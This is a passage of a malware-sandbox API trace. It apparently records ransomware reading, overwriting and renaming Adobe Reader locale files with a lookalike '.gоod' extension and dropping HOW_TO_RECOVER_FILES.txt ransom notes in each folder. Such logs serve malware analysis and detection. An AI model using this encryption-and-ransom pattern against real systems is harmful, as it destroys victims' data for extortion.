lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\da-dk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\da-dk\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0178.749] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0178.749] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\da-dk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\da-dk\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0178.749] GetFileType (hFile=0x768) returned 0x1 [0178.749] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0178.749] GetFileType (hFile=0x768) returned 0x1 [0178.749] WriteFile (in: hFile=0x768, lpBuffer=0x3456080*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x3456080*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0178.749] CloseHandle (hObject=0x768) returned 1 [0178.749] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\da-dk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\da-dk\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0178.749] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\da-dk\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\da-dk\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7d [0178.749] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0178.750] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\da-dk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\da-dk\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x66c100da, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1d90)) returned 1 [0178.750] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0178.750] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\da-dk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\da-dk\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\da-dk\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\da-dk\\ui-strings.js.gоod")) returned 1 [0178.751] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\da-dk\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\da-dk\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x83 [0178.751] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0178.751] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\da-dk\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\da-dk\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0178.752] GetFileType (hFile=0x768) returned 0x1 [0178.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0178.752] GetFileType (hFile=0x768) returned 0x1 [0178.753] WriteFile (in: hFile=0x768, lpBuffer=0x362e450*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x362e450*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0178.754] CloseHandle (hObject=0x768) returned 1 [0178.754] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0178.754] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\de-de", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\de-de", lpFilePart=0x0) returned 0x6a [0178.754] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\de-de\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0178.755] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0178.756] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x203c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0178.756] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0178.756] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0178.756] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0178.756] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0178.756] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0178.756] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\de-de", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\de-de", lpFilePart=0x0) returned 0x6a [0178.756] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\de-de\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0178.756] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0178.757] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x203c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0178.757] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x203c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0178.757] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0178.757] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0178.757] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0178.757] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\de-de\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\de-de\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0178.757] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0178.757] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\de-de\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\de-de\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x363e0d8 | out: lpFileInformation=0x363e0d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x203c)) returned 1 [0178.757] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0178.757] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\de-de\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\de-de\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0178.757] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0178.758] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\de-de\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\de-de\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0178.758] GetFileType (hFile=0x768) returned 0x1 [0178.758] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0178.758] GetFileType (hFile=0x768) returned 0x1 [0178.758] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0178.758] ReadFile (in: hFile=0x768, lpBuffer=0x363e5c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x363e5c0*, lpNumberOfBytesRead=0x1ffebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0178.760] CloseHandle (hObject=0x768) returned 1 [0178.760] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\de-de\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\de-de\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0178.760] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0178.760] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\de-de\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\de-de\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0178.760] GetFileType (hFile=0x768) returned 0x1 [0178.760] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0178.760] GetFileType (hFile=0x768) returned 0x1 [0178.760] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x203c [0178.760] WriteFile (in: hFile=0x768, lpBuffer=0x363f960*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x363f960*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0178.761] CloseHandle (hObject=0x768) returned 1 [0178.761] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\de-de\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\de-de\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0178.761] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0178.762] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\de-de\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\de-de\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0178.762] GetFileType (hFile=0x768) returned 0x1 [0178.762] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0178.762] GetFileType (hFile=0x768) returned 0x1 [0178.762] ReadFile (in: hFile=0x768, lpBuffer=0x3641cd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x3641cd8*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0179.061] CloseHandle (hObject=0x768) returned 1 [0179.061] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\de-de\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\de-de\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0179.061] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0179.061] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\de-de\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\de-de\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0179.061] GetFileType (hFile=0x768) returned 0x1 [0179.061] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0179.061] GetFileType (hFile=0x768) returned 0x1 [0179.061] WriteFile (in: hFile=0x768, lpBuffer=0x347ff58*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x347ff58*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0179.061] CloseHandle (hObject=0x768) returned 1 [0179.062] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\de-de\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\de-de\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0179.062] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\de-de\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\de-de\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7d [0179.062] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0179.062] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\de-de\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\de-de\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x66f0afcc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x204c)) returned 1 [0179.062] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0179.062] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\de-de\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\de-de\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\de-de\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\de-de\\ui-strings.js.gоod")) returned 1 [0179.063] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\de-de\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\de-de\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x83 [0179.063] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0179.063] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\de-de\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\de-de\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0179.063] GetFileType (hFile=0x768) returned 0x1 [0179.063] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0179.063] GetFileType (hFile=0x768) returned 0x1 [0179.064] WriteFile (in: hFile=0x768, lpBuffer=0x3618200*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x3618200*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0179.065] CloseHandle (hObject=0x768) returned 1 [0179.065] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0179.065] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-ae", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-ae", lpFilePart=0x0) returned 0x6a [0179.065] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-ae\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0179.066] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.067] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0179.067] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.067] FindClose (in: 